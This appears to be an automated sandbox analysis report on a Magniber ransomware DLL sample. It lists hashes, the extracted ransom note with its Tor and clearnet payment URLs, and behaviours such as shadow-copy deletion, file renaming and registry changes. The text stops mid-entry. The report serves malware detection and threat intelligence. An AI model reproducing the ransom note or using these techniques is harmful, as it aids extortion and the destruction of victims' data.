Analysis
-
max time kernel
150s -
max time network
139s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
25-12-2021 15:50
Static task
static1
Behavioral task
behavioral1
Sample
b6f05d97b118f9d042c3fe691e5de7e57a84e3ea12decc86ebced93f937acead.dll
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
b6f05d97b118f9d042c3fe691e5de7e57a84e3ea12decc86ebced93f937acead.dll
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
-
Target
b6f05d97b118f9d042c3fe691e5de7e57a84e3ea12decc86ebced93f937acead.dll
-
Size
39KB
-
MD5
08fa10ed5b28440cd9e7074a546685c5
-
SHA1
20b6919c09bae54384c84eb92d65bb8f43a8676e
-
SHA256
b6f05d97b118f9d042c3fe691e5de7e57a84e3ea12decc86ebced93f937acead
-
SHA512
2688a37821463651fc2def76010d7f64a81899d54ddcfc8c1007ac0d69edc77b0cf0078a6fbc4ba316c7f6fd9831758c497f0f68164ba60cadd596901c983319
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://7aa40280a03068106xtirqgc.vlqeedkmbvqdjzongyi6py6o5osehjze6r52mb2ijmx6qbh3lnb3zwid.onion/xtirqgc
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://7aa40280a03068106xtirqgc.mensell.uno/xtirqgc
http://7aa40280a03068106xtirqgc.forrain.fit/xtirqgc
http://7aa40280a03068106xtirqgc.dayeven.space/xtirqgc
http://7aa40280a03068106xtirqgc.luckymy.quest/xtirqgc
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://7aa40280a03068106xtirqgc.vlqeedkmbvqdjzongyi6py6o5osehjze6r52mb2ijmx6qbh3lnb3zwid.onion/xtirqgc
http://7aa40280a03068106xtirqgc.mensell.uno/xtirqgc
http://7aa40280a03068106xtirqgc.forrain.fit/xtirqgc
http://7aa40280a03068106xtirqgc.dayeven.space/xtirqgc
http://7aa40280a03068106xtirqgc.luckymy.quest/xtirqgc
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1148 3720 cmd.exe 83 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1496 3720 vssadmin.exe 83 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1296 3720 cmd.exe 83 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 12 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\ApproveExport.tif => C:\Users\Admin\Pictures\ApproveExport.tif.xtirqgc rundll32.exe File renamed C:\Users\Admin\Pictures\ResizeSync.tif => C:\Users\Admin\Pictures\ResizeSync.tif.xtirqgc rundll32.exe File opened for modification C:\Users\Admin\Pictures\SearchUnregister.tiff rundll32.exe File renamed C:\Users\Admin\Pictures\SearchUnregister.tiff => C:\Users\Admin\Pictures\SearchUnregister.tiff.xtirqgc rundll32.exe File renamed C:\Users\Admin\Pictures\FormatEnable.crw => C:\Users\Admin\Pictures\FormatEnable.crw.xtirqgc rundll32.exe File renamed C:\Users\Admin\Pictures\TestRename.raw => C:\Users\Admin\Pictures\TestRename.raw.xtirqgc rundll32.exe File renamed C:\Users\Admin\Pictures\ExportSelect.tif => C:\Users\Admin\Pictures\ExportSelect.tif.xtirqgc rundll32.exe File renamed C:\Users\Admin\Pictures\FindAdd.tif => C:\Users\Admin\Pictures\FindAdd.tif.xtirqgc rundll32.exe File renamed C:\Users\Admin\Pictures\GrantInvoke.tif => C:\Users\Admin\Pictures\GrantInvoke.tif.xtirqgc rundll32.exe File renamed C:\Users\Admin\Pictures\GroupRegister.tif => C:\Users\Admin\Pictures\GroupRegister.tif.xtirqgc rundll32.exe File renamed C:\Users\Admin\Pictures\OutReset.tif => C:\Users\Admin\Pictures\OutReset.tif.xtirqgc rundll32.exe File renamed C:\Users\Admin\Pictures\ReadGrant.raw => C:\Users\Admin\Pictures\ReadGrant.raw.xtirqgc rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Control Panel\International\Geo\Nation cmd.exe -
Generic Ransomware Note 7 IoCs
Ransomware often writes a note containing information on how to pay the ransom.
resource yara_rule generic_ransomware_note generic_ransomware_note generic_ransomware_note generic_ransomware_note generic_ransomware_note generic_ransomware_note behavioral2/files/0x000600000001ab6b-130.dat generic_ransomware_note -
Suspicious use of SetThreadContext 64 IoCs
description pid Process PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe PID 380 set thread context of 0 380 rundll32.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\rescache\_merged\3720402701\1659841449.pri MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\1659841449.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\1659841449.pri Process not Found -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1496 vssadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_DNTException\Ca = "0" Process not Found Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\iedownload\CachePath = "C:\\Users\\Admin\\AppData\\Local\\Packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DownloadHistory" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\iedownload\CacheRepair = "0" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_Em = "0" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 010000004a039a9ee43c161790bdbf5987ba18152a4bfd813bf5b0a319e3e1f535551bc8294acaeafb87d8996f7b9859ea9c5f398544b36be5289995d7e8fffb0e6470696dbe691bd34b9c47e5cf7d2491bf16ad137bebaa38a5a5ca9913553f890316ce207fcdd9d82817ceadd827aaffc37aadc60ecd57710a0b8d7083222373d4f5066aadfa4985be80c034b72bc1274926284e1f9706d9f8cb065158437d7c76b59c7368b6bf23ad176e078a070879ef8f47e5cc28260410f11d33b2cffb8788f1594dd0594978959148f372ede111567d0d1f37a232eff078e5e5b014da5aac4a36b3058e077f16c3da4e90e663da1e23fba77e88b2113aa9999074bae4138190468a27f75525d0ee4f5402cd59b3e7a5ce1ec3e50c438cba30771d56cdcca6e1bcbc56bfc264632d86fbe9fc7c8c51e04c9b2426229287db7641cbd7cf00bde1fca5b271d9c86e18bc9765318176fd97181dc39bc31dccd7be9a9d41a7786537be845b79b79293f7c161972e724489e5a363bff7f1d4f9321fc2b5acd1c13d2640d9712179b07118bf179d0b5d1a9609228c3732e917b0fb411b7c24662eb065e0eb7a40559ecc MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_iecompat Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Rating Prompt Shown = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\AllComplete = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_DNTException\Ca = "MicrosoftEdge_DNTException:" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-3624 Process not Found Set value (str) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_ie = "MicrosoftEdge_iecompat:" Process not Found Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Zoom MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_ie = "1" Process not Found Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\ChildCapabilities\121 = 53002d0031002d00310035002d0033002d003100000053002d0031002d00310035002d0033002d003900000053002d0031002d00310035002d0033002d0033003200310035003400330030003800380034002d0031003300330039003800310036003200390032002d00380039003200350037003600310036002d003100310034003500380033003100300031003900000053002d0031002d00310035002d0033002d003700380037003400340038003200350034002d0031003200300037003900370032003800350038002d0033003500350038003600330033003600320032002d003100300035003900380038003600390036003400000053002d0031002d00310035002d0033002d0033003800340035003200370033003400360033002d0031003300330031003400320037003700300032002d0031003100380036003500350031003100390035002d003100310034003800310030003900390037003700000053002d0031002d00310035002d0033002d0031003000320034002d0031003000360035003300360035003900330036002d0031003200380031003600300034003700310036002d0033003500310031003700330038003400320038002d0031003600350034003700320031003600380037002d003400330032003700330034003400370039002d0033003200330032003100330035003800300036002d0034003000350033003200360034003100320032002d003300340035003600390033003400360038003100000053002d0031002d00310035002d0033002d0031003000320034002d0033003600320033003800350035003000340031002d0031003800320036003900390039003900350036002d0033003700340037003000360039003800310038002d0033003500320035003200360030003200320033002d0033003700340037003300370034003500310030002d0031003700340036003200370032003600320034002d003900350030003600300031003100360038002d0035003600350035003600330033003100000053002d0031002d00310035002d0033002d0031003000320034002d0032003400300035003400340033003400380039002d003800370034003000330036003100320032002d0034003200380036003000330035003500350035002d0031003800320033003900320031003500360035002d0031003700340036003500340037003400330031002d0032003400350033003800380035003400340038002d0033003600320035003900350032003900300032002d00390039003100360033003100320035003600000053002d0031002d00310035002d0033002d0031003000320034002d0031003500300032003800320035003100360036002d0031003900360033003700300038003300340035002d0032003600310036003300370037003400360031002d0032003500360032003800390037003000370034002d0034003100390032003000320038003300370032002d0033003900360038003300300031003500370030002d0031003900390037003600320038003600390032002d003100340033003500390035003300360032003200000053002d0031002d00310035002d0033002d0031003000320034002d0033003200300033003300350031003400320039002d0032003100320030003400340033003700380034002d0032003800370032003600370030003700390037002d0031003900310038003900350038003300300032002d0032003800320039003000350035003600340037002d0034003200370035003700390034003500310039002d003700360035003600360034003400310034002d003200370035003100370037003300330033003400000053002d0031002d00310035002d0033002d0031003000320034002d0031003700380038003100320039003300300033002d0032003100380033003200300038003500370037002d0033003900390039003400370034003200370032002d0033003100340037003300350039003900380035002d0031003700350037003300320032003100390033002d0033003800310035003700350036003300380036002d003100350031003500380032003100380030002d003100380038003800310030003100310039003300000053002d0031002d00310035002d0033002d0031003000320034002d0033003100350033003500300039003600310033002d003900360030003600360036003700360037002d0033003700320034003600310031003100330035002d0032003700320035003600360032003600340030002d00310032003100330038003200350033002d003500340033003900310030003200320037002d0031003900350030003400310034003600330035002d003400310039003000320039003000310038003700000053002d0031002d00310035002d0033002d0031003000320034002d003100320036003000370038003500390033002d0033003600350038003600380036003700320038002d0031003900380034003800380033003300300036002d003800320031003300390039003600390036002d0033003600380034003000370039003900360030002d003500360034003000330038003600380030002d0033003400310034003800380030003000390038002d003300340033003500380032003500320030003100000053002d0031002d00310035002d0033002d0031003000320034002d0031003600390032003900370030003100350035002d0034003000350034003800390033003300330035002d003100380035003700310034003000390031002d0033003300360032003600300031003900340033002d0033003500320036003500390033003100380031002d0031003100350039003800310036003900380034002d0032003100390039003000300038003500380031002d00340039003700340039003200390039003100000053002d0031002d00310035002d0033002d0031003000320034002d003200320030003000320032003700370030002d003700300031003200360031003900380034002d0033003900390031003200390032003900350036002d0034003200300038003700350031003000320030002d0032003900310038003200390033003000350038002d0033003300390036003400310039003300330031002d0031003700300030003900330032003300340038002d003200300037003800330036003400380039003100000053002d0031002d00310035002d0033002d0031003000320034002d003500320038003100310038003900360036002d0033003800370036003800370034003300390038002d003700300039003500310033003500370031002d0031003900300037003800370033003000380034002d0033003500390038003200320037003600330034002d0033003600390038003700330030003000360030002d003200370038003000370037003700380038002d003300390039003000360030003000320030003500000053002d0031002d00310035002d0033002d0031003000320034002d0031003800360034003100310031003700350034002d003700370036003200370033003300310037002d0033003600360036003900320035003000320037002d0032003500320033003900300038003000380031002d0033003700390032003400350038003200300036002d0033003500380032003400370032003400330037002d0034003100310034003400310039003900370037002d003100350038003200380038003400380035003700000053002d0031002d00310035002d0033002d0031003000320034002d0034003000340034003800330035003100330039002d0032003600350038003400380032003000340031002d0033003100320037003900370033003100360034002d003300320039003200380037003200330031002d0033003800360035003800380030003800360031002d0031003900330038003600380035003600340033002d003400360031003000360037003600350038002d003100300038003700300030003000340032003200000053002d0031002d00310035002d0033002d0031003000320034002d0032003900320032003200390036003200360031002d0031003600340037003400380032003700360038002d0032003000310037003000390031003100340036002d0033003800350038003600360037003000360038002d0034003100330035003600360033003600360032002d0032003900330031003900380035003800390034002d0031003600320037003800320030003900320035002d00380031003800330036003600340033003100000053002d0031002d00310035002d0033002d003300000053002d0031002d00310035002d0033002d003800000053002d0031002d00310035002d0033002d0031003000320034002d0032003400340030003300300036003300370037002d0033003300300034003600310031003000340039002d0031003400390034003300390039003000370031002d0031003100360031003900320036003200320033002d003100360033003900310032003300380034002d0031003400330037003000360035003700370033002d0031003400350036003800320030003500360030002d00320033003900300031003500380031003900360000000000 Process not Found Set value (data) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 4 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\NextPromptBuild = "15063" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_DNTException\Ca = "1" Process not Found Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 010000004c84ad8bde4126013e15d0eb5177c6c1d4bc77d852a8567bcbb1d18b6131492595de989505533776bc81a3489c63da71e2fff8af99fda917e5ea7aa57ea8 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\iedownload Process not Found Set value (str) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_ie = "MicrosoftEdge\\IECompatUaCache" Process not Found Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_ie Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "395205405" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DOMStorage MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_iecompatua\Cach = "1" Process not Found Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-3624 = "microsoft.microsoftedge_8wekyb3d8bbwe" Process not Found Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\ MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "268435456" MicrosoftEdge.exe Key deleted \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_ieflipahead Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_DNTException\Ca = "768" Process not Found Set value (str) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\iedownload\CacheRelativePath = "MicrosoftEdge\\User\\Default\\DownloadHistory" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local 